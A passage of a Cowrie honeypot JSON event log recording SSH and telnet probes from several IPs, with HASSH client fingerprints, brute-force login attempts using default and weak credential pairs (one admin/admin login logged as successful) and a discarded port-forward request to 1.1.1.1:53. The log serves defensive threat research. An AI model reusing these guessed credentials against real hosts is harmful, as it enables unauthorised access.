16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:50.137678Z","src_ip":"91.92.40.36","session":"0eba7fddef9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16972,"dst_ip":"10.17.0.5","dst_port":22,"session":"a716346b1e04","protocol":"ssh","message":"New connection: 87.251.64.176:16972 (10.17.0.5:22) [session: a716346b1e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:51.733964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:51.737968Z","src_ip":"87.251.64.176","session":"a716346b1e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:51.839210Z","src_ip":"87.251.64.176","session":"a716346b1e04","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:52.157509Z","src_ip":"87.251.64.176","session":"a716346b1e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"1qaz@WSX","message":"login attempt [dmdba/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:52.208883Z","src_ip":"91.92.40.36","session":"0eba7fddef9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:52.285923Z","session":"a716346b1e04","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:52.408382Z","src_ip":"87.251.64.176","session":"a716346b1e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:52.534723Z","src_ip":"87.251.64.176","session":"a716346b1e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:53.755230Z","src_ip":"91.92.40.36","session":"0eba7fddef9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.21433472633362,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:53.805046Z","src_ip":"128.199.8.54","session":"e7c7626f3268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24668,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bbc8a5df34a","protocol":"ssh","message":"New connection: 91.92.40.36:24668 (10.17.0.5:22) [session: 4bbc8a5df34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:57.168008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:57.795721Z","src_ip":"91.92.40.36","session":"4bbc8a5df34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:57.803253Z","src_ip":"91.92.40.36","session":"4bbc8a5df34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:59.460684Z","src_ip":"91.92.40.36","session":"4bbc8a5df34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:00.812591Z","src_ip":"91.92.40.36","session":"4bbc8a5df34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24710,"dst_ip":"10.17.0.5","dst_port":22,"session":"03823ce790ee","protocol":"ssh","message":"New connection: 91.92.40.36:24710 (10.17.0.5:22) [session: 03823ce790ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:05.062915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:05.296201Z","src_ip":"91.92.40.36","session":"03823ce790ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:05.300318Z","src_ip":"91.92.40.36","session":"03823ce790ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":43598,"dst_ip":"159.203.135.109","dst_port":22,"session":"5303a83dd327","protocol":"ssh","message":"New connection: 102.210.148.92:43598 (159.203.135.109:22) [session: 5303a83dd327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:06.479592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:06.484022Z","src_ip":"102.210.148.92","session":"5303a83dd327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:06.721568Z","src_ip":"102.210.148.92","session":"5303a83dd327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:07.525205Z","src_ip":"91.92.40.36","session":"03823ce790ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace@2026","message":"login attempt [dspace/dspace@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:07.704365Z","src_ip":"102.210.148.92","session":"5303a83dd327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":56376,"dst_ip":"159.203.135.109","dst_port":22,"session":"98cfeac27d46","protocol":"ssh","message":"New connection: 201.17.146.173:56376 (159.203.135.109:22) [session: 98cfeac27d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:08.627033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:08.632943Z","src_ip":"201.17.146.173","session":"98cfeac27d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:08.771015Z","src_ip":"201.17.146.173","session":"98cfeac27d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:08.945267Z","src_ip":"102.210.148.92","session":"5303a83dd327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:09.153309Z","src_ip":"91.92.40.36","session":"03823ce790ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd1234","message":"login attempt [admin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:09.356476Z","src_ip":"201.17.146.173","session":"98cfeac27d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":44090,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b3d2efe9d95","protocol":"ssh","message":"New connection: 101.36.122.139:44090 (10.17.0.5:22) [session: 0b3d2efe9d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:09.573233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:09.577249Z","src_ip":"101.36.122.139","session":"0b3d2efe9d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:09.799124Z","src_ip":"101.36.122.139","session":"0b3d2efe9d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:10.500756Z","src_ip":"201.17.146.173","session":"98cfeac27d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:10.709202Z","src_ip":"101.36.122.139","session":"0b3d2efe9d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.06539511680603,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:11.023816Z","src_ip":"172.81.62.90","session":"ab52d1fceec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36218,"dst_ip":"10.17.0.5","dst_port":22,"session":"edddf450c50e","protocol":"ssh","message":"New connection: 91.92.40.36:36218 (10.17.0.5:22) [session: edddf450c50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:11.864408Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:11.929799Z","src_ip":"101.36.122.139","session":"0b3d2efe9d95","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:12.487778Z","src_ip":"91.92.40.36","session":"edddf450c50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:12.499176Z","src_ip":"91.92.40.36","session":"edddf450c50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1qaz2wsx","message":"login attempt [deployer/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:16.957554Z","src_ip":"91.92.40.36","session":"edddf450c50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"be497d74b198","protocol":"ssh","message":"New connection: 91.92.40.36:55440 (10.17.0.5:22) [session: be497d74b198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:18.381620Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:19.134859Z","src_ip":"91.92.40.36","session":"edddf450c50e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:19.337954Z","src_ip":"91.92.40.36","session":"be497d74b198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sh